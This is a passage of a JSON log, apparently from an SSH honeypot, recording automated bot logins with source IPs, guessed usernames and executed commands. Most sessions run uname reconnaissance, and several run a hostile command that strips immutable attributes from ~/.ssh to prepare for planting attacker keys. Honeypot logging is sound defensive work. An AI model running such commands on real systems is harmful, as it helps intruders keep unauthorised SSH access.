  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:01:46.945227+00:00",
  "ended_at": "2026-08-26T14:01:52.154403+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "db43ab5a-1665-4a32-a43c-305b47e2259a",
  "name": "dappled-vigilant-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56010,
  "username": "alex",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 675,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:01:39.714548+00:00",
  "ended_at": "2026-08-26T14:01:45.306465+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9b420018-126a-46e8-b24f-51c87043de91",
  "name": "autumn-amiable-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 62728,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 272,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:01:35.432864+00:00",
  "ended_at": "2026-08-26T14:01:36.957850+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2227
 },
 {
  "id": "2b1cf4aa-e35f-48db-861e-6118de8eafe2",
  "name": "mottled-lonesome-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60326,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 639,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:01:31.615153+00:00",
  "ended_at": "2026-08-26T14:01:34.712074+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "02fbc0a0-ed18-42cc-8d5c-8d8cd8facb89",
  "name": "kindly-orderly-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49798,
  "username": "web",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1369,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:01:22.020133+00:00",
  "ended_at": "2026-08-26T14:01:28.024437+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "defdc84a-81b5-43a5-a985-b173c3b480e8",
  "name": "jaunty-scarlet-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51808,
  "username": "splunk",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1190,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:01:11.772295+00:00",
  "ended_at": "2026-08-26T14:01:16.170138+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bea36b4a-57e6-4e59-b628-0e4c09445dc8",
  "name": "stoic-supple-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 62750,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:01:10.920968+00:00",
  "ended_at": "2026-08-26T14:01:11.906007+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "148c257a-a028-4f55-87fc-876029cf85ec",
  "name": "spirited-hardy-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 62742,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:01:08.993865+00:00",
  "ended_at": "2026-08-26T14:01:10.329156+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "28e426f9-a600-43a5-a031-f127cab51fa4",
  "name": "twilight-calm-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38152,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1326,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:00:59.254467+00:00",
  "ended_at": "2026-08-26T14:01:02.863899+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "30db74f5-79a5-4ca9-a2a4-22cd2d389aa2",
  "name": "nautical-emerald-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40680,
  "username": "syncuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 758,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:00:51.104083+00:00",
  "ended_at": "2026-08-26T14:00:52.317010+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2128
 },
 {
  "id": "0cef3771-3368-4a98-8182-b16e75b51fe3",
  "name": "wry-rambling-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51610,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1398,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:00:49.929764+00:00",
  "ended_at": "2026-08-26T14:00:54.937997+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "99ba69b8-2a4a-4a2b-b0d3-d58c2284a804",
  "name": "gilded-sturdy-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 32820,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1494,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:00:38.266484+00:00",
  "ended_at": "2026-08-26T14:00:43.258477+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "83e16068-3782-4499-ad71-c1527b23a52e",
  "name": "sleepy-keen-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 32794,
  "username": "milad",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1250,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:00:33.560083+00:00",
  "ended_at": "2026-08-26T14:00:39.859727+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "89dee331-a6a4-4cac-9932-47dbc0806f2e",
  "name": "vernal-blunt-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40682,
  "username": "syncuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:00:28.054302+00:00",
  "ended_at": "2026-08-26T14:00:29.165691+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "736e19ee-0896-4795-8133-b6659e811250",
  "name": "weathered-steady-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40681,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:00:24.975077+00:00",
  "ended_at": "2026-08-26T14:00:26.539355+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "10653991-16e8-4f25-8495-6fa2444c864c",
  "name": "amiable-grassy-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37236,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1080,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:00:21.962087+00:00",
  "ended_at": "2026-08-26T14:00:26.917413+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e44a9f62-a473-4f7e-a9ab-bb706ab95438",
  "name": "crystal-fierce-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39626,
  "username": "admin2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 667,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T14:00:03.281678+00:00",
  "ended_at": "2026-08-26T14:00:11.044740+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a4f838cd-8739-444a-a805-f03973ba16dd",
  "name": "serene-creaky-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39550,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1094,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:59:58.773156+00:00",
  "ended_at": "2026-08-26T14:00:05.756652+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0b58655b-746d-41e9-9ca1-2136efa0f98d",
  "name": "polar-sullen-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40044,
  "username": "server",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 660,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:59:48.266938+00:00",
  "ended_at": "2026-08-26T13:59:54.001878+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "acb09280-b396-499c-8df8-a623268ec32b",
  "name": "sandy-jagged-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 53744,
  "username": "ruslan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 288,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:59:43.689658+00:00",
  "ended_at": "2026-08-26T13:59:45.110991+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2171
 },
 {
  "id": "344f8572-d3ab-452b-afd8-10721b43fed8",
  "name": "freckled-tawny-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42358,
  "username": "master",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 696,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:59:38.328836+00:00",
  "ended_at": "2026-08-26T13:59:42.385505+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8e22d17c-2cb6-4374-aed2-bce8aa2491da",
  "name": "rugged-frugal-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40674,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 645,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:59:25.763853+00:00",
  "ended_at": "2026-08-26T13:59:29.536375+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a17d1c87-89d9-4f27-b3f3-7e68d6da9e48",
  "name": "gnarled-misty-goose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53772,
  "username": "ruslan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:59:18.171063+00:00",
  "ended_at": "2026-08-26T13:59:19.345755+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4b49ae54-af55-428a-a7d5-b08513db2bc1",
  "name": "cunning-nimble-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53760,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:59:16.223889+00:00",
  "ended_at": "2026-08-26T13:59:17.571301+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4ee9ad9d-ec9a-4ba6-9a91-9a213d48597c",
  "name": "balmy-sincere-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53678,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 765,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:59:12.477519+00:00",
  "ended_at": "2026-08-26T13:59:17.880428+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "33133f18-e358-4bd9-a365-b9d4cfcb6316",
  "name": "candid-pristine-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 38622,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 567,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:58:57.723250+00:00",
  "ended_at": "2026-08-26T13:59:03.577278+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "85922afd-28ae-40ce-a6b4-9f527a497dfe",
  "name": "gleaming-hushed-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 42396,
  "username": "devuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:58:45.381314+00:00",
  "ended_at": "2026-08-26T13:58:53.150052+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5978697e-c67f-4590-bb6e-649156cbaf5d",
  "name": "rambling-stormy-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50362,
  "username": "ts3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 380,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:58:40.019436+00:00",
  "ended_at": "2026-08-26T13:58:45.526648+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6640c646-ed49-400a-bab8-114bdc117e9b",
  "name": "burly-quiet-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47496,
  "username": "devuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 402,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:58:39.867157+00:00",
  "ended_at": "2026-08-26T13:58:53.148917+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "9f4c30d4-563a-495a-9bb5-db8821aeb5a9",
  "name": "fleeting-quiet-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46944,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 382,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:58:23.899992+00:00",
  "ended_at": "2026-08-26T13:58:29.137292+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c3e1d326-fd96-4dcc-a2d7-898de6c23d0e",
  "name": "frosty-meadow-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40510,
  "username": "git",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:58:08.535315+00:00",
  "ended_at": "2026-08-26T13:58:12.563344+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "70a47b81-29fd-4cf0-afd5-77c5a5922328",
  "name": "kindly-polar-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40677,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 746,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:58:04.013595+00:00",
  "ended_at": "2026-08-26T13:58:05.224226+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2120
 },
 {
  "id": "37b98d5d-4435-4545-bf8c-7241b9bcd174",
  "name": "crystal-fierce-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 50408,
  "username": "demo",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:57:57.408505+00:00",
  "ended_at": "2026-08-26T13:58:00.722882+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a1a2024e-326c-48be-b112-73ebfdd29c55",
  "name": "fringed-serene-dolphin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33712,
  "username": "demo",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 485,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:57:51.544305+00:00",
  "ended_at": "2026-08-26T13:58:00.724126+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "09687120-5c98-4b68-a6ae-27750ab1c027",
  "name": "muted-tawny-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35824,
  "username": "server",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 438,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:57:49.100229+00:00",
  "ended_at": "2026-08-26T13:57:53.910340+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "48c72c69-65e1-44b3-bfad-630822901c0c",
  "name": "downy-zealous-godwit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 55648,
  "username": "fred",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:57:47.401562+00:00",
  "ended_at": "2026-08-26T13:57:53.379326+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "97d0f088-0d75-4a5c-857f-e2f1d644ec94",
  "name": "glassy-twilight-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 63832,
  "username": "faisal",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:57:47.237455+00:00",
  "ended_at": "2026-08-26T13:57:48.592237+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2154
 },
 {
  "id": "fa5d6697-e519-4133-8b0c-07c266b80b97",
  "name": "ruddy-jaunty-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40679,
  "username": "user1",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:57:41.677194+00:00",
  "ended_at": "2026-08-26T13:57:42.651049+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2b2326dc-6a9b-4010-ae78-c681828b8156",
  "name": "blazing-vaulted-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52198,
  "username": "fred",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 381,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:57:41.270072+00:00",
  "ended_at": "2026-08-26T13:57:53.380854+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "f4be47cb-f2fb-4eb4-9a55-681ac9d4f630",
  "name": "hazy-amiable-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40678,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:57:38.977232+00:00",
  "ended_at": "2026-08-26T13:57:40.180776+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b21444ef-653a-4225-8aa4-0f917f9dc533",
  "name": "noble-cheerful-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 63852,
  "username": "faisal",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:57:21.228079+00:00",
  "ended_at": "2026-08-26T13:57:22.721288+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "853d2de0-7b04-4d3d-aaba-29d8dabad760",
  "name": "restless-thorny-rook",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 63840,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:57:19.017152+00:00",
  "ended_at": "2026-08-26T13:57:20.624449+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9251107b-c43d-4a93-bff6-bb73f542edcc",
  "name": "feathered-bitter-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55064,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 644,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:57:14.609882+00:00",
  "ended_at": "2026-08-26T13:57:19.996733+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2a79ee8f-2408-406b-977d-16e3a1ad570d",
  "name": "velvet-icy-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 40498,
  "username": "osmc",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:57:12.694860+00:00",
  "ended_at": "2026-08-26T13:57:18.044766+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "68dbf231-62d3-42c3-8a64-0f0d80df4b26",
  "name": "austere-tranquil-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42194,
  "username": "osmc",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 571,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:57:06.363093+00:00",
  "ended_at": "2026-08-26T13:57:18.043500+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "7f2cdb3c-ff9b-40d5-b125-cdb8e41b72c2",
  "name": "drifting-rugged-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 48358,
  "username": "elrond",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:57:00.635122+00:00",
  "ended_at": "2026-08-26T13:57:05.384931+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "65af6007-dc60-4ed4-a2bd-8faf982dbbbb",
  "name": "mighty-plucky-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49778,
  "username": "elrond",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 634,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:56:56.030400+00:00",
  "ended_at": "2026-08-26T13:57:05.383664+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "050b8e2c-9edc-44b7-a927-0af0953ab4e9",
  "name": "smoky-glassy-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55020,
  "username": "amir",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 590,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:56:33.214913+00:00",
  "ended_at": "2026-08-26T13:56:37.153352+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "aceac43f-fa20-44c1-8b6f-f2c5ee3efeb0",
  "name": "steady-crimson-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49194,
  "username": "master",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 341,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:56:15.329661+00:00",
  "ended_at": "2026-08-26T13:56:21.037249+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ac6df03a-2a99-40d6-8160-ed0c5d06c656",
  "name": "quiet-serene-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52180,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 486,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:56:05.734485+00:00",
  "ended_at": "2026-08-26T13:56:09.920374+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f32eaf0a-9d9a-4f60-9e17-506b237659d3",
  "name": "lucid-jagged-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 49798,
  "username": "init",
